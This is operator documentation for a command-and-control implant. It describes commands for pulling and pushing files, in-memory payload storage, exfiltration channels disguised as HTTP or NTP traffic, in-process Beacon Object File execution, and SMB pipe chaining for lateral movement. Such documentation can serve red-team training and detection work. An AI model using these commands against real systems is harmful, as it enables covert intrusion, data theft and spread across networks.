Commands

This document outlines the available commands for the implant, grouped by functionality.

Command Tree

------
System
------
exit                 : Exit the implant. Kills the implant process on the host.
sleep                : Sleep for a specified number of seconds. Ex: `sleep 5`

-----------
File System
-----------
cd                   : Change the current working directory. Ex: `cd C:\Users\`
ls                   : List the contents of a directory. Ex: `ls C:\Users\`
file download        : Download a file from the host. Ex: `file download C:\Users\user\file.txt`
file upload          : Upload a file to the host. Ex: `file upload C:\Temp\file.txt <base64_contents>`

------------
Memory Store
------------
memstore list        : List all file names in the memstore. Ex: `memstore list`
memstore upload      : Upload a file to the implant memstore. Ex: `memstore upload <file_name> <base64_contents>`
memstore download    : Download a file from the implant memory store. Ex: `memstore download <file_name>`
memstore delete      : Delete a file from the implant's memory store. Ex: `memstore delete <file_name>`
memstore clear       : Clear *all* files in the implant's memory store. Ex: `memstore clear`

-----------
C2 Strategy
-----------
strat active         : Show the currently active GET and POST strategies.
strat list           : List all strategies compiled into the implant.
strat set post       : Set the POST (exfil) strategy. Ex: `strat set post raw_10_0_0_30_80_HTTP_Mimicry`
strat set get        : Set the GET (tasking) strategy. Ex: `strat set get raw_10_0_0_30_80_HTTP_Mimicry`
strat set both       : Set GET and POST to one profile, or set them individually in one command.
                       Ex (same profile for both): `strat set both raw_10_0_0_30_80_HTTP_Mimicry`
                       Ex (split profile):         `strat set both raw_get_name raw_post_name`

---------
Execution
---------
bof                  : Run a BOF from base64 or memstore. Ex: `bof <base64_bof> [args]`
                       From memstore: `bof *my_bof_in_memstore [args]`

-----------
SMB Linking
-----------
link smb             : Link to a child implant via SMB named pipes.
                       Ex: `link smb <target_host> <inbox_pipe> <outbox_pipe>`
link list            : List all implants currently linked as children.
unlink smb           : Sever the SMB link to a child implant. Ex: `unlink smb <child_uuid>`

--------
Terminal
--------
help                 : Display this help menu.
history              : Show the task history for this implant (client-side, pulls from server).
clear                : Clear the terminal output.

A Note on Command Outputs

Every response from the implant is broken into at least three distinct fields rather than a single text blob:

data: The raw payload returned by the command (e.g., file listing, file contents, BOF output).

message: A human-readable status string translated from the Windows error code via FormatMessage.

Ex: ERROR_SUCCESS (0) → "Success"
Ex: 5 → "Access Denied"
See FormatMessage (winbase.h)

windows_error_code: The raw numeric Windows API error code, useful for programmatic handling.

See System Error Codes (0-499)

Some commands return additional fields. These are noted in the individual command sections below (e.g., strat active returns comms_get_strategy and comms_post_strategy).

API / Task Response Structure

{
  "task_uuid": "00000000-0000-0000-0000-000000000000",
  "implant_uuid": "00000000-0000-0000-0000-000000000000",
  "result": {
    "message": {
      "type": "text",
      "value": "Success"
    },
    "data": {
      "type": "text",
      "value": "some_data"
    },
    "windows_error_code": {
      "type": "text",
      "value": "0"
    }
  }
}

0. Special Characters

Character	Meaning
`*`	Dereference — load binary data from the memory store by name

The Dereference Operator (`*`)

The * prefix lets you use binary data from the implant's memory store as a command argument. It is supported on commands that accept binary input: file upload and bof.

Binary data only. The deref operator is for raw blobs (executables, shellcode). Text data will produce garbage output or crashes.

Syntax:

<command> *<memstore_name> [other args...]

Examples:

Traditional upload (sends bytes over the wire each time):

file upload C:\Temp\not_malware.exe <base64_blob>

Dereferenced upload (pulls from memory store, no re-transfer needed):

file upload C:\Temp\not_malware.exe *my_payload

BOF from memstore:

bof *my_bof_tool "-domain contoso.local"

1. System Commands

Control the state and execution of the implant process itself.

Command	Description
`exit`	Terminate the implant process on the host.
`sleep`	Update the implant's sleep interval.

`exit`

Kills the implant process on the host. No response is returned.

Usage: exit

`sleep`

Updates the implant's sleep interval to the given number of seconds.

Usage: sleep <seconds>
Example: sleep 60

Return Values

Field	Value
`data`	The updated sleep interval (as a string)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

2. File System Operations

Interact with files on the host's disk.

Command	Description
`cd`	Change the current working directory.
`ls`	List directory contents.
`file download`	Pull a file from the host to the server.
`file upload`	Push a file from the server to the host.

`cd`

Changes the current working directory on the host.

Usage: cd <directory>
Example: cd C:\Users\

Return Values

Field	Value
`data`	`""` (empty — no output on success)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`ls`

Lists the contents of a directory. Defaults to the current working directory if no path is provided.

Usage: ls [directory]
Example: ls C:\Users\

Return Values

Field	Value
`data`	Newline-separated list of entries. Split on `\n` for programmatic use.
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`file download`

Retrieves a file from the host.

Usage: file download <file_path>
Example: file download C:\Users\user\secrets.txt

Return Values

Field	Value
`data`	Raw file bytes. Displayed as base64 in the UI.
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`file upload`

Writes a file to the host from base64-encoded content or from the memory store.

When using the GUI, paste a Base64 string — the interface decodes it before serializing to MessagePack. When calling the API directly, you can pass raw binary in the MessagePack task.

Usage: file upload <file_path> <base64_content>
Deref usage: file upload <file_path> *<memstore_name>
Example: file upload C:\Temp\tool.exe <base64_file_contents>

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

3. C2 Strategy

Manage how the implant communicates with the C2 server. Each implant has a GET strategy (how it retrieves tasks) and a POST strategy (how it exfiltrates data/results). Strategies are named by the listener profile they reference and are compiled into the implant at build time.

Command	Description
`strat active`	Show the currently active GET and POST strategy names.
`strat list`	List all strategies available in the implant.
`strat set post`	Set the POST (exfil) strategy.
`strat set get`	Set the GET (tasking) strategy.
`strat set both`	Set both GET and POST strategies in one command.

`strat active`

Displays the names of the currently active GET and POST strategies.

Usage: strat active

Example output:

--- comms_get_strategy ---
raw_10_0_0_30_80_HTTP_Mimicry
--- comms_post_strategy ---
raw_10_0_0_30_80_HTTP_Mimicry

Custom Return Fields (in addition to standard data, message, windows_error_code):

Field	Value
`comms_get_strategy`	Name of the active GET (tasking) strategy
`comms_post_strategy`	Name of the active POST (exfil) strategy

`strat list`

Lists all strategies compiled into the implant.

Usage: strat list

`strat set post`

Sets the POST (exfiltration) strategy.

Usage: strat set post <strategy_name>
Example: strat set post raw_10_0_0_30_80_HTTP_Mimicry

`strat set get`

Sets the GET (task retrieval) strategy.

Usage: strat set get <strategy_name>
Example: strat set get raw_10_0_0_30_80_HTTP_Mimicry

`strat set both`

Sets GET and POST in a single command. Pass one name to apply it to both channels, or two names to set them independently.

Usage (same profile for both): strat set both <strategy_name>
Usage (split profiles): strat set both <get_strategy_name> <post_strategy_name>

Examples:

strat set both raw_10_0_0_30_80_HTTP_Mimicry

strat set both raw_10_0_0_30_80_HTTP_Mimicry raw_10_0_0_30_123_NTP_Mimicry

4. Memory Store

Interact with the implant's volatile in-memory storage. See MemStore docs for full implementation detail.

Command	Description
`memstore list`	List all filenames in the memory store.
`memstore upload`	Upload a file into the memory store.
`memstore download`	Download a file from the memory store.
`memstore delete`	Delete a specific file from the memory store.
`memstore clear`	Wipe all files from the memory store.

`memstore list`

Lists the names of all entries in the memory store.

Usage: memstore list

Return Values

Field	Value
`data`	Newline-separated list of file names
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore upload`

Uploads a file into the implant's in-memory store. The file never touches disk.

When using the GUI, pass a Base64 string. The interface decodes it before sending.

Usage: memstore upload <file_name> <base64_content>
Example: memstore upload my_tool.exe aabbcc==

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore download`

Retrieves a file from the memory store. Returned as raw bytes (displayed as base64 in the UI).

Usage: memstore download <file_name>
Example: memstore download my_tool.exe

Return Values

Field	Value
`data`	File bytes (base64 in GUI)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore delete`

Removes a specific file from the memory store.

Usage: memstore delete <file_name>
Example: memstore delete my_tool.exe

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore clear`

Wipes everything from the memory store.

Usage: memstore clear

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

5. Execution

Command	Description
`bof`	Load and execute a Beacon Object File (BOF) in-process.

`bof`

Executes a compiled Beacon Object File (BOF) within the implant's process space. The BOF bytes can be supplied as a base64 string or loaded from the memory store using the * dereference operator.

When calling via the API or GUI, supply the BOF bytes as base64, or place the tool in the memory store first (memstore upload) and reference it with *name.

Usage: bof <base64_bof_bytes> [args...]
Deref usage: bof *<memstore_name> [args...]

Examples:

bof <base64_encoded_bof> -domain contoso.local

bof *enumerate_domain -domain contoso.local

Return Values

Field	Value
`data`	Captured stdout from the BOF. Empty if execution failed or no output.
`message`	Windows error message
`windows_error_code`	See codes below

Error Codes:

Code	Meaning
`0` (`ERROR_SUCCESS`)	BOF executed successfully
`ERROR_INTERNAL_ERROR`	BOF launcher failed to initialize, or BOF failed to execute
`ERROR_BAD_FORMAT`	BOF bytes could not be parsed or loaded from memory
`ERROR_OUTOFMEMORY`	Argument structure failed to initialize
`ERROR_UNIDENTIFIED_ERROR`	BOF finished but no output could be retrieved from the context

6. SMB Chaining / Lateral Movement

Link implants together over SMB named pipes to route tasking and results through a chain without each node requiring direct internet access.

Command	Description
`link smb`	Connect to a child implant via SMB named pipes.
`link list`	List all currently linked child implants.
`unlink smb`	Sever the SMB link to a specific child.

`link smb`

Establishes an SMB named-pipe connection from this implant to a downstream child. The child must already be running and listening on the specified pipes.

\\.\ is automatically prepended to the pipe names — supply just the bare pipe name (e.g. inbox2, not \\.\inbox2).

Usage: link smb <target_host> <inbox_pipe> <outbox_pipe>
Example: link smb 192.168.1.50 inbox2 outbox2

`link list`

Lists all child implants currently linked to this implant.

Usage: link list

`unlink smb`

Severs the SMB link to a specific child implant by its UUID.

Usage: unlink smb <child_uuid>
Example: unlink smb 01932ba4-1234-7f00-a12b-000000000000

Command Tree​

A Note on Command Outputs​

API / Task Response Structure​

0. Special Characters​

The Dereference Operator (*)​

1. System Commands​

exit​

sleep​

2. File System Operations​

cd​

ls​

file download​

file upload​

3. C2 Strategy​

strat active​

strat list​

strat set post​

strat set get​

strat set both​

4. Memory Store​

memstore list​

memstore upload​

memstore download​

memstore delete​

memstore clear​

5. Execution​

bof​

6. SMB Chaining / Lateral Movement​

link smb​

link list​

unlink smb​

Command Tree

A Note on Command Outputs

API / Task Response Structure

0. Special Characters

The Dereference Operator (`*`)

1. System Commands

`exit`

`sleep`

2. File System Operations

`cd`

`ls`

`file download`

`file upload`

3. C2 Strategy

`strat active`

`strat list`

`strat set post`

`strat set get`

`strat set both`

4. Memory Store

`memstore list`

`memstore upload`

`memstore download`

`memstore delete`

`memstore clear`

5. Execution

`bof`

6. SMB Chaining / Lateral Movement

`link smb`

`link list`

`unlink smb`